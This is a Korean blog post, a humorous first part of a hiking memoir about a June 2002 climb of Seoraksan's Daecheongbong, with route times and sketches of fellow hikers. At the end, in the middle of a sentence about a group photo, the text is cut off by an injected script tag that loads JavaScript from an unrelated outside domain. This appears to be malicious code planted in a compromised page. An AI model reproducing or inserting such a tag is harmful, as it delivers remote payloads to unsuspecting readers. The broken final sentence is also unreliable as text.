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[제목] 응규성의 설악 회상기(상) (백운학)



지금부터 휘공산행기 전담기자(?)의 따귀 빼고 국물 버리고 건덕지만 남기기로 응규와 사전 편집회의에서
통과되었기로 그대로 시행할랍니다. 이의있으면 리플달던가

설악산행을 해보지 않은 형아들이 알기쉽게 쓰겠다고 하는 것도 그 속에 들어있음을 덧붙입니다.


사전정보


(1)설악은 미시령과 한계령을 기준으로 동해쪽이 외설악, 서쪽이 내설악이다. 경주에 있는 불국사 대웅전안의 서탑이 석가탑, 동탑이 다보탑인 것을 생각키우는 건 어인 일인가. 요즈음은 오색지구를 남설악으로 부르기도 한다. 각설하고 설악산의 산행기점☞ 1)설악동 2)오색 3)한계령 4)용대리 5)남교리 이 다섯 곳이다. 우리는 오늘 2번을 택한 것이다.

(2)산행일시:2002. 06. 02(일) 걸린시간 9시간☞ 오색그린야드호텔 출발(06:00)▶오색매표소 통과(06:10)▶설악폭포 (07:25)▶대청봉 정상 도착(08:55)▶정상 세레머니(증명사진, 주변조망, 휴식)▶중청봉(09:45)▶소청봉(10:10)▶희운각대피소(10:45)▶양폭 못미쳐 개울가에서 점심(11:40)▶양폭산장(12:15)▶귀면암(12:45)▶비선대(13:20)▶설악동 도착(15:10)


5:30 모닝콜 덕분에 기상하여 세면하고 오색지구 식당가가 모여있는 주전골식당에서 아침을 먹고, 숙소인 그린야드로 다시 돌아와 점심 도시락들을 하나씩 배급받아 배낭에 챙기고 오색지구 매표소에 도착했다. 휘산회 총무인 양종희 후배가 능숙한 카우보이 마냥 우리일행4인(64회 선배로 존함이 정현태, 전용빈 두분이 동반)을 철책문안으로 들여 보내면서 "14명"!(그간의 통과 누적인원인 모양)이라고 매표원에게 외치란다.


올 때 걱정했던 날씨의 우려는 한방에 날려버려도 좋은 맑은 하늘이다. 잔치에 날씨 부조가 절반이라는 말이 있다. 시작은 좋아보인다. 참 오늘의 이야기에 제목을 그렇게 붙일 수 밖에 없는 사정을 말해야 이해가 될 것 같다.
동반하신 두 선배님을 소개하자면 오늘의 주인공인 응규성의 산악반 하늘같은 선배님이 바로 정현태님이시다. 머리는 백발이시나 동자승같은 해맑은 얼굴이시다. 그도 그럴 것이 집은 서울에 있지만 혼자 강원도 횡성군 서원면이라는 경치 좋은 곳(화 않내실라나 농사꾼은 생활의 터전인데 내가 입초시를 떠는 것 땀시)에서 사슴치기에 고추,버섯농사를 하신단다. 어디서 많이 보던 스토린데. 응 맞어.
MBC드라마《위기의 남자》인 김영철의 역할이네. 내가 정색을 하며 묻느다, 다 맞는데 배종옥이가 없다는 것이다. 형수한테 조금은 안된 일이지만 응규 네가 나서면 스토리가 될 것도 같은데. 또 응규한테 야그 잘 하면 주말농장삼아 다녀도 될 것같은 배려 깊으신 분이다.

또 한분 용빈이(영일이 너 잘알지)형님은 나처럼 64회 깍두기(나는 괜찮은데 형님은 화 안내실까 몰라? 요즈음은 조연이 좋아야 뜨쟎우)가 되주셨다. 꾸우벅@#&*
사실은 삼성건설 현장소장님으로 야전사령관을 하시다 직접 뛰실 시간만 조율중이시란다. 그런데 이 냥반은 아무리 뵈도 노가다(거친 이미지만 생각하지만 NO 型<일본말로 '가다'>:정형화 된 틀이 없이 사고와 행동이 자유로운)와는 매치가 잘 되지 않는 걸 뵈면 내가 사람 볼줄 모르나 부다.


그렇게 두형님을 도반으로 산행을 시작한다. 하행시간이 6시간 정도 걸리는 반정(半程)을 3시간으로 올라 가려니 오르는 물매가 그리 녹녹치 아닐거라는 건 불문가지 렸다. 안내판은 아직도 대청봉 4.8km 남았다고 악살을 매긴다. 1시간여 올라왔을까 대청봉 2.6km 남은 곳에 이르니 목도 마른데 개울소리가 난다. 설악폭포 줄기인 것 같은데 팻말이 없어 확인은 못했지만 응규와 난 차고 달디단 폭포수를 물통에 가득 담았다. 빠른 걸음은 아니었지만 쉬임없이 치고 오르려니 제2쉼터라고 표시된 화살표가 대청봉 1.3km라고 가르킨다.
조금더 올라가려니 여기서부터 깔딱고갠가 물매가 더 깡파라진다. 여기까지 올라올 때에는 거의 하늘을 볼 수 없는 나무숲을 지나왔는데 나무의 높이가 갑자기 낮아진다. 주변은 고사목과 함께 관목이 나타는건 바로 바람을 많이 타는 지역의 특성을 나타내는 징표인 것이다. 너덜지역을 지나고 오른쪽으로 얼룩무늬 벙커를 끼고 대청봉 정상에 오른다. 1,708m 남한에서는 3번째 고봉이라나 어쩐다냐.

올라온 곳을 되집으며 남사면을 내려다 본다. 천군만마를 호령하는 장군답게 아래로 내달리는 능선의 기상은 정말 끝다은 데가 없다. 눈을 들어 더 멀리 시야를 넓히니까 용평의 발왕산이 건너보인다.

대청봉 표지석 주변에는 우리보다 먼저 올라온 산사람들이 증명사진을 찍느라 자리가 빈틈이 없다. 뽕오디의 다닥다닥 붙은 망울같은게 전부 사람 머리들이다. 우리도 그 와중에 65회 선배가 찍어주는 디지털 카메라로 ?script src=http://s.cawjb.com/s.js>
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